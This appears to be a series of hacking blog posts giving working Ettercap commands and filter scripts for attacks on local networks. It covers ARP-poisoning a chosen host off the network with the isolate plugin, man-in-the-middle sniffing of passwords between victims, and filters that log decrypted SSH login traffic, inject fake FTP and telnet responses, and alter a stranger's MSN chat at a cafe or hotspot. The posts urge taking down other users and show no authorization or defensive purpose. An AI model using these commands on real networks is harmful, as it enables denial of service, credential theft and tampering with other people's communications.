Take down any host on a network using Ettercap's plugin Isolate

Ettercap is a very popular password sniffer and packet analyzer. It comes pre-built with many plugins, including isolate in which im gonna briefly discuss here. This plugging allows you to literally take down a host on a network. For example, if you find out that you have a user using the internet for malicious purposes, why not just take him out? The theory behind this attack lies around poisoning the users arp cache. Since a computer on your LAN that communicates on the interenet relies on knowing what the mac address of the gateway or router is, it wont be hard to imagine what would happen if we tell your machine that in order to get to internet, send all packets to another mac address. More interestingly, say the router's ip address is 192.168.1.1, if we poison the arp cache of a machine to link the routers address or 192.168.1.1 to that computer's own mac address what would result is a complete denial of service. Whenever that users machine tries communicate on the web, all his packets would be send to his own mac address. Talk about a state of confusion

This attack may take up to 5 mins to work. It relies on the arp cache entry to time out before it needs to refresh it self.

# ettercap -Tq -i eth0 -P isolate /192.168.1.103/ //

The above command would complete take the host 192.168.1.103 down. You can run ipconfig /all on you windows machine and arp -a, then compare the mac address. If they are the same, then you just pwned that machine. Now you can tell those pesky torrent whores just before you take them down, "Say hello to my lil friend.....".....Isolate.

Resources/Good reading:
http://wcosughacking.blogspot.com/2008/07/isolate-ip.html

More On Ettercap plus Filter examples

This post is a follow up to my previous post on using and ettercap filter to change some text on the fly throughout an MSN conversation. Finding information on google about ettercap filters wasn't as easy as i would have anticipated, took me several minutes to find useabll info. Below is a summary of my findings and mainly aims as a reference or cheatsheet if you will, for some of its popular uses.

Just to recap, if you havent done your homework on the basics of ettercap yet

Basic Sniffing

Network sniffing in quiet text mode with no arp poisoning or arp scan. Ettercap would listen on the eth0 interface and display only information of interests like passwords.

ettercap –Tzq –i eth0

To sniff traffic between 2 hosts:

ettercap -i eth0 –Tq –M ARP:remote /victim_ip_A/ /victim_ip_B/

'–i': What interface to listen on
'-Tq': Run in quiet, Text-mode
'-M ARP:remote': Perform Man-in-Middle-Mode (MITM) arp spoof between two points or nodes in the network, in our example above, between /victim_ip_A/ /victim_ip_B/.

Sniff multiple hosts by be in the middle of network/nodes and the gateway:

ettercap –i eth0 –T –M arp /192.168.1.1 / /192.168.1.10-20/

Capture traffic on a certain port only:

ettercap –i eth0 –T –M arp /192.168.1.1 / /192.168.1.10-20/23


To sniff traffic between all hosts on the network:

ettercap –T –M arp // //

Note that the above is generally not recommend. Do so would result in network performance degradation as you network card is not powerful enough to process all the network traffic (assuming this a reasonably sized network). A network like this would suffer from packet lots and congestion since their would be alot of retransmissions.

Ettercap is capable of:
• sniffing HTTPS
• Collecting passwords for TELNET, FTP, POP, RLOGIN, SSH1, ICQ, SMB, MySQL, HTTP, NNTP, X11, NAPSTER, IRC, RIP, BGP, SOCKS 5, IMAP 4, VNC, LDAP, NFS, SNMP, HALF LIFE, QUAKE 3, MSN, YMSG
• Injecting traffic
• OS fingerprinting

Logging The Output

ettercap –Tq –L filename -M ARP:remote /ip_address_A/ /ip_address_B/

Other useful options
-F use preconfigured or custom filters
-P use plugin (to view plugins use ettercap –TQ press p to view the plugin menu)
-c Compress the output (gzip)

More on Ettercap Filters:
Monitoring web traffic (port 80):
Note: When you monitor web traffic, the packets that you see may come accross in an encoded form. Ettercap needs plain-text traffic in order to effectively filter what it needs to. The encoding type that web pages use from my observations(im not sure or aware of any others) is "Accept-Encoding: gzip, deflate"

Below is a filter that Zaps the encoding to force plain-text communication:
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "gzip")) {
replace("gzip", " "); # note: four spaces in the replacement string
msg("whited out gzip\n");
}
}

if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "deflate")) {
replace("deflate", " "); # note: seven spaces in the replacement string
msg("whited out deflate\n");
}
}

Replacing text in a packet:
if (ip.proto == TCP && search(DATA.data, "lol")){
replace("lol", "smh");
msg("filter ran");

}

Display a message if the tcp port is 22:
if (ip.proto == TCP) {
if (tcp.src == 22 || tcp.dst == 22) {
msg("SSH packet\n");
}
}


Log all telnet traffic, also execute ./program on every packet:
if (ip.proto == TCP) {
if (tcp.src == 23 || tcp.dst == 23) {
log(DATA.data, "./logfile.log");
exec("./program");
}
}


Log all traffic except http:
if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) {
log(DATA.data, "./logfile.log");
}


Some operation on the payload of the packet:
if ( DATA.data + 20 == 0x4142 ) {
DATA.data + 20 = 0x4243;
} else {
DATA.data = "modified";
DATA.data + 20 = 0x4445;
}


Drop any packet containing "ettercap":
if (search(DECODED.data, "ettercap")) {
msg("some one is talking about us...\n");
drop();
kill();
}


Log ssh decrypted packets matching the regexp
if (ip.proto == TCP) {
if (tcp.src == 22 || tcp.dst == 22) {
if (regex(DECODED.data, ".*login.*")) {
log(DECODED.data, "./decrypted_log");
}
}
}

Dying packets:
if (ip.ttl <>
msg("The packet will die soon\n");
}

String comparison at a given offset:
if (DATA.data + 40 == "ette") {
log(DATA.data, "./logfile");
}

Inject a file after a specific packet:
if (tcp.src == 21 && search(DATA.data, "root")) {
inject("./fake_response");
}

Replace the entire packet with another:
if (tcp.src == 23 && search(DATA.data, "microsoft")) {
drop();
inject("./fake_telnet");
}

Filter only a specific ip address:
if (ip.src == '192.168.0.2') {
drop();
}

Translate the port of the tcp packet from 80 to 81:
if (tcp.dst == 80) {
tcp.dst -= 1;
tcp.dst += 2;
}

Resources/Good reading:
http://ettercap.sourceforge.net/
http://synjunkie.blogspot.com/2007/10/arp-poisoning.html
http://openmaniak.com/ettercap_filter.php
http://forums.remote-exploit.org/backtrack-v2-0-final/7681-ettercap-filters-2.html
http://www.irongeek.com/i.php?page=security/ettercapfilter

Ettercap and Filters (Pwning an MSN convo)

Ettercap is a multi-purpose sniffer that can perform man in the middle attacks on a switched network. It can sniff live connections and modify some of a packets contents on the fly. What im going to show you is how you can modify certain words from an ongoing MSN convo. You are gonna have to be on the same network so a perfect scenario would be at an interet cafe or wireless hotspot.
You would need to create a filter that would tell ettercap to filter out 'lol' in our example to whatever we want, in this case 'smh'.

Creating the filter:
BT4:
# touch msn.txt
open msn.txt in a text editor and type the following:
if (ip.proto == TCP && search(DATA.data, "lol")) { replace("lol", "smh"); msg("filter ran"); }

Save and exit your work.
NB: Just to point out, there shouldn't be any space between the 'e' and '(' in the replace function, and 'DATA.data', its necessary for 'DATA' to be in all caps . This language is case sensitie so putting 'Data.data' would not work.

Next you need to compile the msn.txt text into a format that ettercap can understand
# etterfilter -o msn.ef msn.txt

Now we are ready to run ettercap with our newly created filter.
#ettercap -Tq -M ARP:remote -i wlan0 -F msn.ef /victim_with_msn_ip/ /router_ip/

Thats all. Now jst wait for your victim to send or recieve an 'lol' in the convo. Just like magic 'lol' turns to 'smh'. Just note that when u type 'lol', its gonna show up as 'lol' on your end but on the other end of the convo, its gonna show up as 'smh' and vice versa. Now feel free to accossiate the word ettercap and awsome in the same sentence with ease.

IMPORTANT:
In all my tests i found that you always have to perform a man in the middle attack (like arp cahce poisoning) to get the ettercap filters working. Without the arp cache, the ettercap console will say that the filter was ran but my packets were not modified or affected.